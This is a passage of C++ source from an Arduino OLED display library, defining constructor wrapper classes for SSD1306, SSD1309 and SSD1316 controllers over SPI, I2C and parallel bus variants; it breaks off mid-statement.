class U8X8_SSD1306_48X64_WINSTAR_4W_SW_SPI : public U8X8 { public: U8X8_SSD1306_48X64_WINSTAR_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_48x64_winstar, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1306_48X64_WINSTAR_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_48X64_WINSTAR_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_48x64_winstar, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_48X64_WINSTAR_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_48X64_WINSTAR_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_48x64_winstar, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_48X64_WINSTAR_3W_SW_SPI : public U8X8 { public: U8X8_SSD1306_48X64_WINSTAR_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_48x64_winstar, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1306_48X64_WINSTAR_3W_HW_SPI : public U8X8 { public: U8X8_SSD1306_48X64_WINSTAR_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_48x64_winstar, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1306_48X64_WINSTAR_6800 : public U8X8 { public: U8X8_SSD1306_48X64_WINSTAR_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_48x64_winstar, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_48X64_WINSTAR_8080 : public U8X8 { public: U8X8_SSD1306_48X64_WINSTAR_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_48x64_winstar, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_48X64_WINSTAR_SW_I2C : public U8X8 { public: U8X8_SSD1306_48X64_WINSTAR_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_48x64_winstar, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1306_48X64_WINSTAR_HW_I2C : public U8X8 { public: U8X8_SSD1306_48X64_WINSTAR_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_48x64_winstar, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1306_48X64_WINSTAR_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1306_48X64_WINSTAR_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_48x64_winstar, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1306_64X32_NONAME_4W_SW_SPI : public U8X8 { public: U8X8_SSD1306_64X32_NONAME_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_noname, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1306_64X32_NONAME_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_64X32_NONAME_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_noname, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_64X32_NONAME_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_64X32_NONAME_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_noname, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_64X32_NONAME_3W_SW_SPI : public U8X8 { public: U8X8_SSD1306_64X32_NONAME_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_noname, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1306_64X32_NONAME_3W_HW_SPI : public U8X8 { public: U8X8_SSD1306_64X32_NONAME_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_noname, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1306_64X32_NONAME_6800 : public U8X8 { public: U8X8_SSD1306_64X32_NONAME_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_noname, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_64X32_NONAME_8080 : public U8X8 { public: U8X8_SSD1306_64X32_NONAME_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_noname, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_64X32_1F_4W_SW_SPI : public U8X8 { public: U8X8_SSD1306_64X32_1F_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_1f, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1306_64X32_1F_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_64X32_1F_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_1f, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_64X32_1F_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_64X32_1F_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_1f, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_64X32_1F_3W_SW_SPI : public U8X8 { public: U8X8_SSD1306_64X32_1F_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_1f, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1306_64X32_1F_3W_HW_SPI : public U8X8 { public: U8X8_SSD1306_64X32_1F_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_1f, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1306_64X32_1F_6800 : public U8X8 { public: U8X8_SSD1306_64X32_1F_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_1f, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_64X32_1F_8080 : public U8X8 { public: U8X8_SSD1306_64X32_1F_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_1f, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_64X32_NONAME_SW_I2C : public U8X8 { public: U8X8_SSD1306_64X32_NONAME_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_noname, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1306_64X32_NONAME_HW_I2C : public U8X8 { public: U8X8_SSD1306_64X32_NONAME_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_noname, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1306_64X32_NONAME_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1306_64X32_NONAME_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_noname, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1306_64X32_1F_SW_I2C : public U8X8 { public: U8X8_SSD1306_64X32_1F_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_1f, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1306_64X32_1F_HW_I2C : public U8X8 { public: U8X8_SSD1306_64X32_1F_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_1f, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1306_64X32_1F_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1306_64X32_1F_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_1f, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1306_96X16_ER_4W_SW_SPI : public U8X8 { public: U8X8_SSD1306_96X16_ER_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x16_er, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1306_96X16_ER_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_96X16_ER_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x16_er, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_96X16_ER_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_96X16_ER_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x16_er, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_96X16_ER_3W_SW_SPI : public U8X8 { public: U8X8_SSD1306_96X16_ER_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x16_er, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1306_96X16_ER_3W_HW_SPI : public U8X8 { public: U8X8_SSD1306_96X16_ER_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x16_er, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1306_96X16_ER_6800 : public U8X8 { public: U8X8_SSD1306_96X16_ER_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x16_er, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_96X16_ER_8080 : public U8X8 { public: U8X8_SSD1306_96X16_ER_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x16_er, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_96X16_ER_SW_I2C : public U8X8 { public: U8X8_SSD1306_96X16_ER_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x16_er, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1306_96X16_ER_HW_I2C : public U8X8 { public: U8X8_SSD1306_96X16_ER_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x16_er, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1306_96X16_ER_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1306_96X16_ER_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x16_er, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1309_128X64_NONAME2_4W_SW_SPI : public U8X8 { public: U8X8_SSD1309_128X64_NONAME2_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname2, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1309_128X64_NONAME2_4W_HW_SPI : public U8X8 { public: U8X8_SSD1309_128X64_NONAME2_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname2, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1309_128X64_NONAME2_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1309_128X64_NONAME2_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname2, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1309_128X64_NONAME2_6800 : public U8X8 { public: U8X8_SSD1309_128X64_NONAME2_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname2, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1309_128X64_NONAME2_8080 : public U8X8 { public: U8X8_SSD1309_128X64_NONAME2_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname2, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1309_128X64_NONAME2_SW_I2C : public U8X8 { public: U8X8_SSD1309_128X64_NONAME2_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname2, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1309_128X64_NONAME2_HW_I2C : public U8X8 { public: U8X8_SSD1309_128X64_NONAME2_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname2, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1309_128X64_NONAME2_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1309_128X64_NONAME2_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname2, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1309_128X64_NONAME0_4W_SW_SPI : public U8X8 { public: U8X8_SSD1309_128X64_NONAME0_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname0, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1309_128X64_NONAME0_4W_HW_SPI : public U8X8 { public: U8X8_SSD1309_128X64_NONAME0_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname0, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1309_128X64_NONAME0_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1309_128X64_NONAME0_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname0, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1309_128X64_NONAME0_6800 : public U8X8 { public: U8X8_SSD1309_128X64_NONAME0_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname0, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1309_128X64_NONAME0_8080 : public U8X8 { public: U8X8_SSD1309_128X64_NONAME0_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname0, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1309_128X64_NONAME0_SW_I2C : public U8X8 { public: U8X8_SSD1309_128X64_NONAME0_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname0, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1309_128X64_NONAME0_HW_I2C : public U8X8 { public: U8X8_SSD1309_128X64_NONAME0_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname0, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1309_128X64_NONAME0_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1309_128X64_NONAME0_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname0, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1316_128X32_4W_SW_SPI : public U8X8 { public: U8X8_SSD1316_128X32_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1316_128x32, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1316_128X32_4W_HW_SPI : public U8X8 { public: U8X8_SSD1316_128X32_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1316_128x32, 